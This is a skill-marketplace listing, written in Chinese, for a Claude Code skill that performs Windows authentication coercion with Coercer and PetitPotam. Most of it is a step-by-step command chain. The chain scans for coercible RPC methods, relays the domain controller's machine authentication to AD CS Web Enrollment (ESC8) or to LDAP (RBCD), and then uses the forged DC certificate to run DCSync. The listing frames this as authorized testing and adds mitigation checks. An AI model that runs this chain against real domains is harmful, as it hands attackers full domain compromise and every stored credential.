mcpField
C
coercing-authentication-with-coercer-petitpotam

coercing-authentication-with-coercer-petitpotam

github.com/mukul975安全35.2k79 次安装8 周前更新
代码仓库

关于 coercing-authentication-with-coercer-petitpotam

面向授权 Windows 域安全测试的认证强制技能,介绍 Coercer 与 PetitPotam 的 RPC 探测和触发流程,并说明如何验证 NTLM 中继防护。

主要功能

  1. 01扫描可触发认证的 RPC 方法
  2. 02通过多种协议触发机器认证
  3. 03使用 fuzz 模式测试路径变体
  4. 04结合中继工具验证安全链路
  5. 05记录受影响方法与缓解建议

适用场景

  1. 01验证域控制器的补丁状态
  2. 02测试 AD CS 中继防护
  3. 03为 LDAP 或 SMB 中继触发认证
  4. 04生成认证强制检测遥测

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill coercing-authentication-with-coercer-petitpotam

安装后在 Claude Code 中输入/coercing-authentication-with-coercer-petitpotam确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
references/
api-reference.md
standards.md
scripts/
agent.py

详细介绍

使用 Coercer 和 PetitPotam 强制触发身份验证

法律声明: 本技能仅用于经授权的安全测试和教育目的。将身份验证强制触发与 NTLM 中继结合使用可能导致域遭到攻陷。仅可针对你拥有或已获得明确书面授权进行测试的系统使用。未经授权使用属于违法行为。

概述

许多 Windows RPC 接口都提供了接受 UNC 路径的方法,并会使接收服务器使用其计算机帐户向该路径进行身份验证。能够访问这些接口的攻击者可以强制目标(通常是域控制器)向攻击者控制的主机进行身份验证。单独来看,这称为“强制身份验证”;若与 NTLM 中继结合使用,强制触发的计算机凭据会被中继到未强制执行签名/EPA 的服务,最常见的是 AD CS Web Enrollment(ESC8),从而获取域控制器证书,并最终导致域遭到攻陷。

PetitPotam(Gilles Lionel / topotam)利用 MS-EFSR(加密文件系统远程协议)的 EfsRpcOpenFileRaw / EfsRpcEncryptFileSrv 方法。Coercer(p0dalirius)则将此技术推广开来:它是一款 Python 工具,可通过横跨多个协议的 12 种方法,自动强制 Windows 服务器向任意机器进行身份验证——包括 MS-EFSR(PetitPotam)、MS-RPRN(PrinterBug/SpoolSample)、MS-DFSNM(DFSCoerce)、MS-FSRVP(ShadowCoerce)、MS-EVEN 等。Coercer 提供三种模式:扫描(探测哪些 RPC 方法可访问/可触发身份验证)、强制触发(触发身份验证)和 模糊测试(研究路径变体)。来源:p0dalirius/Coercer、topotam/PetitPotam、The Hacker Recipes — 强制身份验证。

适用场景

  • 通过强制 DC 向中继端进行身份验证,完成 ESC8/ESC11 攻击链
  • 触发计算机身份验证,以便向 LDAP(RBCD)或 SMB 进行 NTLM 中继
  • 已确定中继目标,但未自然发生入站身份验证时
  • 在检测工程中生成强制触发遥测数据,以调整蓝队检测
  • 验证 DC/服务器是否已修补,以及中继缓解措施(签名/EPA)是否有效

前提条件

  • 授权范围包含身份验证强制触发和 NTLM 中继技术
  • 有效的域凭据(通常为低权限);某些方法可在未修补的主机上未经身份验证使用
  • 在可访问的主机上运行中继监听器(Certipy relay 或 Impacket ntlmrelayx)
  • 网络可访问目标的 RPC 端点(135 + 动态端口、445)
  • 运行 Python 3.8+ 的 Linux 攻击主机;安装工具:
    # Coercer
    pipx install coercer        # or: sudo python3 -m pip install coercer
    coercer --help
    # PetitPotam (source)
    git clone https://github.com/topotam/PetitPotam
    # Impacket (provides ntlmrelayx, dFSCoerce etc.)
    pipx install impacket
    

目标

  • 识别目标开放了哪些 RPC 身份验证强制触发方法(扫描模式)
  • 启动指向易受攻击服务(例如 AD CS Web Enrollment)的 NTLM 中继
  • 强制目标计算机帐户向中继端进行身份验证
  • 获取中继后的凭据材料(通过 ESC8 获取 DC 证书、通过 LDAP 写入 RBCD)
  • 记录可触发身份验证的方法,并提出修补/缓解建议

MITRE ATT&CK 映射

ID技术在本技能中的应用
T1187强制身份验证使用 MS-EFSR/MS-RPRN/MS-DFSNM/MS-FSRVP RPC 方法,强制目标计算机帐户向攻击者控制的主机进行身份验证

关联技术:T1557.001(LLMNR/NBT-NS 投毒和 SMB/NTLM 中继)以及在中继到 AD CS 时的 T1649(窃取或伪造身份验证证书)。

工作流

步骤 1:扫描目标,查找可触发身份验证的方法

使用 Coercer 的扫描模式,枚举目标上可利用的 RPC 方法。这样可以在发起完整攻击前,确定最佳的身份验证强制触发向量。

coercer scan -u 'attacker' -p 'Passw0rd!' -d corp.local \
    -t 10.0.0.10 -l 10.0.0.50

-t 是目标(例如 DC),-l 是接收强制触发身份验证的监听器 IP。

步骤 2:启动中继(ESC8 示例)

在另一个终端中,启动指向 AD CS Web 注册的中继,以便任何被中继的 DC 身份验证都能获取 DomainController 证书。

# Certipy relay into HTTP web enrollment (ESC8)
certipy relay -target 'http://CA.CORP.LOCAL' -template 'DomainController'

# Alternative: Impacket ntlmrelayx
impacket-ntlmrelayx -t http://CA.CORP.LOCAL/certsrv/certfnsh.asp \
    -smb2support --adcs --template DomainController
步骤 3:使用 Coercer 强制触发身份验证

触发目标计算机帐户向中继/监听器进行身份验证。--always-continue 会尝试每种方法,直到有一种成功。

coercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \
    -t 10.0.0.10 -l 10.0.0.50 --always-continue

若要使用某个特定方法(更隐蔽),请按方法名称筛选:

coercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \
    -t 10.0.0.10 -l 10.0.0.50 --filter-method-name PetitPotam
步骤 4:直接使用 PetitPotam 强制触发身份验证(MS-EFSR)

PetitPotam 是标准的 MS-EFSR 强制触发方法,可在未修补的 DC 上以未身份验证的方式使用。语法:petitpotam.py <listener> <target>。

# Unauthenticated attempt
python3 PetitPotam.py 10.0.0.50 10.0.0.10
# Authenticated (more reliable on patched-but-vulnerable hosts)
python3 PetitPotam.py -u attacker -p 'Passw0rd!' -d corp.local 10.0.0.50 10.0.0.10
步骤 5:使用中继结果

对于 ESC8,中继会写入 DC 证书(dc.pfx)。以 DC 身份进行身份验证并执行 DCSync。

certipy auth -pfx 'dc$.pfx' -dc-ip 10.0.0.100
# Then DCSync with the recovered DC credential
impacket-secretsdump -k -no-pass 'corp.local/[email protected]' -just-dc
步骤 6:中继到 LDAP 以实现 RBCD(替代链路)

如果无法使用 ESC8,可将被强制触发的身份验证中继到 LDAP,以配置基于资源的约束委派。

# Relay to LDAP and delegate to attacker-controlled computer account
impacket-ntlmrelayx -t ldap://dc.corp.local --delegate-access \
    --escalate-user 'attacker$' -smb2support
# Then coerce as in Step 3
步骤 7:使用模糊测试模式发现未修补路径(研究)

模糊测试模式会变换 UNC 路径,以查找可绕过部分补丁的强制触发路径。

coercer fuzz -u 'attacker' -p 'Passw0rd!' -d corp.local \
    -t 10.0.0.10 -l 10.0.0.50

工具和资源

资源用途链接
Coercer多方法自动化强制触发(12 种方法)https://github.com/p0dalirius/Coercer
PetitPotamMS-EFSR 强制触发https://github.com/topotam/PetitPotam
Certipy relayESC8/ESC11 中继目标https://github.com/ly4k/Certipy
Impacket ntlmrelayx中继到 AD CS / LDAP / SMBhttps://github.com/fortra/impacket
The Hacker Recipes强制触发与中继理论https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications

强制触发方法参考

方法协议说明
PetitPotamMS-EFSREfsRpcOpenFileRaw / EfsRpcEncryptFileSrv;经典的 ESC8 触发方法
PrinterBug / SpoolSampleMS-RPRNRpcRemoteFindFirstPrinterChangeNotificationEx;需要 Spooler
DFSCoerceMS-DFSNMNetrDfsAddStdRoot;PetitPotam 补丁发布后通常仍可用
ShadowCoerceMS-FSRVPIsPathSupported / IsPathShadowCopied
其他(Coercer)MS-EVEN 等共 12 种方法;使用 scan 枚举

验证标准

  • Coercer 扫描发现目标上至少一种可达的强制触发方法
  • 已针对确认存在漏洞的服务启动中继监听器
  • 已成功强制目标计算机帐户向监听器进行身份验证
  • 已获得中继产物(DC 证书、RBCD 写入或 SMB 执行)
  • (ESC8)已使用 DC 证书进行身份验证并演示 DCSync
  • 已记录可触发的方法、受影响的主机及补丁建议
  • 已验证或标记中继缓解措施(SMB/LDAP 签名、EPA、RPC 筛选器)

评论

支持 Markdown